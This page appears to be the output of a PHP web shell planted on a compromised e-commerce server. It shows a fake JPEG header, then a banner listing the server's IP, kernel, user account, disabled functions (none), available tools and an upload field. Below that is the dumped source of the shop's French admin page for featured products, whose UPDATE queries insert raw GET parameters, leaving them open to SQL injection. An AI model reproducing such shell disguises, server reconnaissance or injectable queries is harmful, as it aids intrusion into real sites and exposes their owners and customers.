ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/vracandbio.com/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if (isset($_GET['une'])) {
$id = $_GET['une'];
$bdd->exec("UPDATE " . $GLOBALS['db_table']['products'] . " SET featured = 0 WHERE id = $id");
echo '<script>';
echo 'window.location = "./products_featured.php"';
echo '</script>';
}
if (isset($_GET['uno'])) {
$id = $_GET['uno'];
$bdd->exec("UPDATE " . $GLOBALS['db_table']['products'] . " SET featured = 1 WHERE id = $id");
echo '<script>';
echo 'window.location = "./products_featured.php"';
echo '</script>';
}
?>
<script type="text/javascript">
$(document).ready(function() {
$("#sortlist").Sortable({
accept: 'dragDrop',
opacity: 0.6,
axis : 'vertically',
onchange : function ( sorted ) {
serial = $.SortSerialize ('sortlist');
// requète Ajax pour l'enregistrement des positions
$.ajax ( {
url : "includes/set_position.php?table=products&field=featured_position",
type : "post",
data : serial.hash
});
}
});
});
</script>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Gérer les Produits à la Une
<div class="pull-right">
<a href="products.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
</div>
</h1>
</div>
</div>
</div>
<table id="sortlist" class="table table-bordered table-striped">
<thead>
<tr>
<th class="span3 center">Produit</th>
<th class="span1 center">Prix</th>
<th class="span1 center">Poids</th>
<th class="span1 center">Opérations</th>
</tr>
</thead>
<tbody>
<?php
$requete = $bdd->query("SELECT p.*, c.name as cat, pp.picture FROM products p
INNER JOIN products_categories pc
ON p.id = pc.id_product
INNER JOIN products_pictures pp
ON pp.id_product = p.id
INNER JOIN categories c
ON c.id = pc.id_category
WHERE pp.position = 1 AND p.featured = 1
GROUP BY p.id ORDER BY p.featured_position");
if ($row = $requete->fetch()) {
do {
?>
<tr class="dragDrop" id="prd_<?php echo $row['id']; ?>" style="cursor: ns-resize;">
<td class="span1 font12 center">
<?php $pic = '../uploadfiles/products/' . $row['picture']; if (empty ($pic)){ $pic = '../templates/shop/img/no-picture.jpg'; } ?>
<img style="max-width: 80px; max-height: 80px; float: left;" src="<?php echo $pic; ?>" />
<b><?php echo stripcslashes($row['name']) ?></b>
</td>
<td class="span1 font12 center">
<b><?php echo stripcslashes($row['price']).'€' ?></b>
</td>
<td class="span1 font12 center">
<b><?php echo stripcslashes($row['weight']) . 'g' ?></b>
</td>
<td class="span1 center" style="width: 71px;">
<a href="./edit_product.php?id=<?php echo $row['id']; ?>&cat=<?php echo $category['id']; ?>">
<img src="assets/img/edit.png" title="Editer le produit" />
</a>
<?php
if($row['featured'] > 0)
echo '<a href="./products_featured.php?une='.$row['id'].'"><img src="assets/img/favok.png" title="Retirer la Une"></a>';
else
echo '<a href="./products_featured.php?uno='.$row['id'].'"><img src="assets/img/favno.png" title="Mettre à la Une"></a>';
?>
</td>
</tr>
<?php
}while ($row = $requete->fetch());
} else {
echo 'Aucune page à afficher !!!';
}
?>
</tbody>
</table>
</div>
<?
include_once('includes/footer.php');
?>